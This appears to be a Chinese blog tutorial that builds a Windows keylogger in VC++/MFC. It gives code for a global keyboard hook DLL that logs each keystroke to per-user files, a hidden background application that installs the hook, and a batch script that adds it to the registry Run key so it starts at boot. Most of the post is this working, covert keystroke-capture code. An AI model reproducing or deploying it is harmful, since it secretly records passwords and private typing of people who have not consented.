• VC++开发Windows系统全局钩子


       本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

    这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

    程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

    • 全局钩子DLL

    创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

    在自动生成的源文件KeyBoardHook.cpp中,

    定义全局变量:

    #pragma data_seg("publicdata")
    HHOOK hhook = NULL;
    HINSTANCE pinstance = NULL;
    #pragma data_seg()

    在DLL入口函数中,添加获取钩子实例句柄的代码:

    extern "C" int APIENTRY
    DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
    {
        // Remove this if you use lpReserved
        UNREFERENCED_PARAMETER(lpReserved);
    
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            TRACE0("KEYBOARDHOOK.DLL Initializing!
    ");
            
            // Extension DLL one-time initialization
            if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
                return 0;
    
            new CDynLinkLibrary(KeyBoardHookDLL);
            pinstance = hInstance; //获取钩子实例句柄
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
            TRACE0("KEYBOARDHOOK.DLL Terminating!
    ");
            // Terminate the library before destructors are called
            AfxTermExtensionModule(KeyBoardHookDLL);
        }
        return 1;   // ok
    }

    全局钩子的具体实现代码:

    //保存日志文件
    extern "C" void SaveLog(char* c)
    {
        //printf("刚才点击的是%c键/n", &c);
        //char buffer[80];
        //wsprintf(buffer, "c的值是%c", c);
        //AfxMessageBox(buffer);
        const int MAX_BUFFER_LEN = 500;  
        char  szBuffer[MAX_BUFFER_LEN];  
        DWORD dwNameLen;  
      
        dwNameLen = MAX_BUFFER_LEN;  
        GetUserName(szBuffer, &dwNameLen);
    
        CTime tm=CTime::GetCurrentTime();
        CString name;
        name.Format("c:\keyboard\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
        CFile file;
        if(!file.Open(name,CFile::modeReadWrite))
        {
            file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
        }
        file.SeekToEnd();
        file.Write(c,1);
        file.Close();
    }
    
    //键盘钩子回调函数
    extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam)
    {
        LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
    //AfxMessageBox("huidiao");
        if(nCode == HC_ACTION){
            if(lParam & 0x80000000){
                char c[1];
                c[0]=wParam;
        //AfxMessageBox(c);
                SaveLog(c);
            }
        }
    
        return Result;
    }
    
    //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
    extern "C" bool WINAPI InstallHook()
    {
    //    AfxMessageBox("anzhuang");
        hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);
        if(hhook != NULL)
            return true;
        else
            return false;
    }

    用def文件导出DLL函数,在KeyBoardHook.def中添加:

    EXPORTS
        ; Explicit exports can go here
        InstallHook        @1        //dll导出函数的名称为InstallHook,序号为1

    至此,编译并运行,程序的DLL部分便完成了。

    • 负责调用DLL的单文档应用程序

    创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

    设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

    在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

    //安装钩子函数
    extern "C" bool WINAPI InstallHook();

    在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

    具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

    void CKeyBoardHookAppView::OnInitialUpdate() 
    {
        CView::OnInitialUpdate();
        
        // TODO: Add your specialized code here and/or call the base class
        InstallHook();
    }

    最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

    在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

    • 设置本程序随开机自启动

    使用bat批处理来制作安装和卸载

    md C:keyboard
    @reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v KeyboardHook /t REG_SZ /d D:keyboardhookKeyBoardHookApp.exe
    @reg delete "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v KeyboardHook /f

    以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:keyboard目录下。

    参考:

    《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

    《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

  • 相关阅读:
    AtomicReference与volatile的区别
    深度剖析ConcurrentHashMap(转)
    ConcurrentHashMap原理分析
    Java Stack源码分析
    Fail-Fast机制详解
    TreeSet源码分析
    状态(State)模式
    原型(Prototype)模式
    职责连模式
    观察者模式(Observer)
  • 原文地址:https://www.cnblogs.com/lyhero11/p/4514980.html
Copyright © 2020-2023  润新知